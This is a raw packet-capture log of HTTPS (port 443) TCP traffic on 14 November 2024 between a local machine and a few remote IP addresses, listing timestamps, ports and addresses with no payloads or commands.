Nov 14, 2024 17:24:23.435208082 CET	443	49750	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.435703039 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.435735941 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.435782909 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.435885906 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.435894966 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.436881065 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.436923027 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.436983109 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.437110901 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.437128067 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.521004915 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:23.521225929 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:23.522459984 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:23.522479057 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:23.522699118 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:23.523960114 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:23.524100065 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:23.524142027 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:23.996613026 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.997582912 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.997611046 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:23.998143911 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:23.998150110 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.002655983 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.003050089 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.003073931 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.003473043 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.003503084 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.130323887 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.130393028 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.130455017 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.130717039 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.130727053 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.130737066 CET	49753	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.130740881 CET	443	49753	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.133670092 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.133902073 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.133939981 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.134001970 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.134471893 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.134493113 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.134927988 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.134999990 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.135030985 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.135046005 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.135056019 CET	49754	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.135061979 CET	443	49754	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.137204885 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.137253046 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.137310982 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.137458086 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.137475967 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.179856062 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.180468082 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.180505037 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.180963039 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.180969000 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.187947989 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.188375950 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.188407898 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.188762903 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.188770056 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.242450953 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.242568970 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.242644072 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.242770910 CET	49752	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.242794037 CET	443	49752	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.315769911 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.315920115 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.315980911 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.316200018 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.316219091 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.316229105 CET	49756	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.316235065 CET	443	49756	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.319538116 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.319567919 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.319622993 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.320374966 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.320389032 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.321248055 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.321402073 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.321451902 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.321526051 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.321536064 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.321587086 CET	49757	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.321594000 CET	443	49757	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.323843956 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.323888063 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.323945999 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.324631929 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.324651003 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.365648985 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.365674973 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.365755081 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.366065979 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.366077900 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.379137039 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.379611015 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.379625082 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.380067110 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.380072117 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.653114080 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.653187037 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.653237104 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.653522968 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.653532982 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.653593063 CET	49755	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.653598070 CET	443	49755	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.657800913 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.657895088 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.657972097 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.658260107 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.658297062 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.902023077 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.902544975 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.902554989 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.903026104 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.903029919 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.920167923 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.920591116 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.920613050 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.921021938 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:24.921026945 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:24.997652054 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.997808933 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.999073982 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:24.999087095 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:24.999492884 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.001120090 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.001280069 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.001313925 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.001374006 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.031469107 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.031852961 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.031938076 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.031985998 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.032006025 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.032016993 CET	49759	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.032021999 CET	443	49759	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.034826994 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.034863949 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.034960985 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.035100937 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.035115957 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.043368101 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.109014034 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.109285116 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.109427929 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.109605074 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.109605074 CET	49758	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.109622955 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.109632969 CET	443	49758	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.112674952 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.112709999 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.112795115 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.112961054 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.112981081 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.122791052 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.123219967 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.123264074 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.123708963 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.123716116 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.131234884 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.131681919 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.131771088 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.132031918 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.132047892 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.233274937 CET	443	49705	173.222.162.64	192.168.2.6
Nov 14, 2024 17:24:25.233437061 CET	49705	443	192.168.2.6	173.222.162.64
Nov 14, 2024 17:24:25.318383932 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.318456888 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.318568945 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.318861008 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.318912983 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.318948030 CET	49761	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.318965912 CET	443	49761	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.321885109 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.321927071 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.322015047 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.322173119 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.322190046 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.326680899 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.326832056 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.326903105 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.326955080 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.326955080 CET	49760	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.326980114 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.326994896 CET	443	49760	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.329282999 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.329308987 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.329379082 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.329498053 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.329509020 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.613980055 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.614823103 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.614888906 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.615417957 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.615434885 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.699920893 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.700161934 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.700225115 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.700278997 CET	49762	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.700303078 CET	443	49762	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.751269102 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.751360893 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.751544952 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.751723051 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.751724005 CET	49763	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.751774073 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.751804113 CET	443	49763	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.755369902 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.755414009 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.755482912 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.755692005 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.755706072 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.831902027 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.832536936 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.832591057 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.833045959 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.833056927 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.887206078 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.896204948 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.896230936 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.896876097 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.896881104 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.949167013 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.949269056 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.949393034 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.949713945 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:25.949752092 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:25.969204903 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.969371080 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.969466925 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.969644070 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.969665051 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.969675064 CET	49764	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.969679117 CET	443	49764	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.973170042 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.973217964 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:25.973304987 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.973474979 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:25.973489046 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.022284985 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.022875071 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.022943974 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.022973061 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.022986889 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.022995949 CET	49765	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.023000002 CET	443	49765	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.026284933 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.026329041 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.026396036 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.026550055 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.026566982 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.125475883 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.126234055 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.126250982 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.126931906 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.126935959 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.127845049 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.128155947 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.128217936 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.128621101 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.128635883 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.267657995 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.273819923 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.273977041 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.274032116 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.274032116 CET	49767	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.274040937 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.274049044 CET	443	49767	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.278624058 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.278736115 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.278817892 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.278980970 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.279000998 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.280993938 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.281141996 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.281220913 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.281341076 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.281369925 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.281397104 CET	49766	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.281410933 CET	443	49766	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.283751965 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.283778906 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.283853054 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.283977032 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.283994913 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.555984974 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.567356110 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.567378044 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.568001986 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.568010092 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.612102985 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:26.612238884 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:26.614974022 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:26.614986897 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:26.615775108 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:26.618145943 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:26.618319988 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:26.618360996 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:26.618544102 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:26.618552923 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:26.699218035 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.699290037 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.699354887 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.700292110 CET	49768	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.700314999 CET	443	49768	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.717473030 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.717518091 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.717807055 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.719620943 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.719634056 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.757206917 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.759435892 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.759455919 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.760328054 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.760334969 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.815115929 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.815711021 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.815746069 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.816303015 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.816313982 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.892744064 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.892981052 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.893055916 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.918333054 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.918368101 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.918381929 CET	49770	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.918389082 CET	443	49770	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.921478033 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.921506882 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.921581984 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.921741009 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.921756983 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.947385073 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.947566032 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.947658062 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.947959900 CET	49771	443	192.168.2.6	13.107.246.45
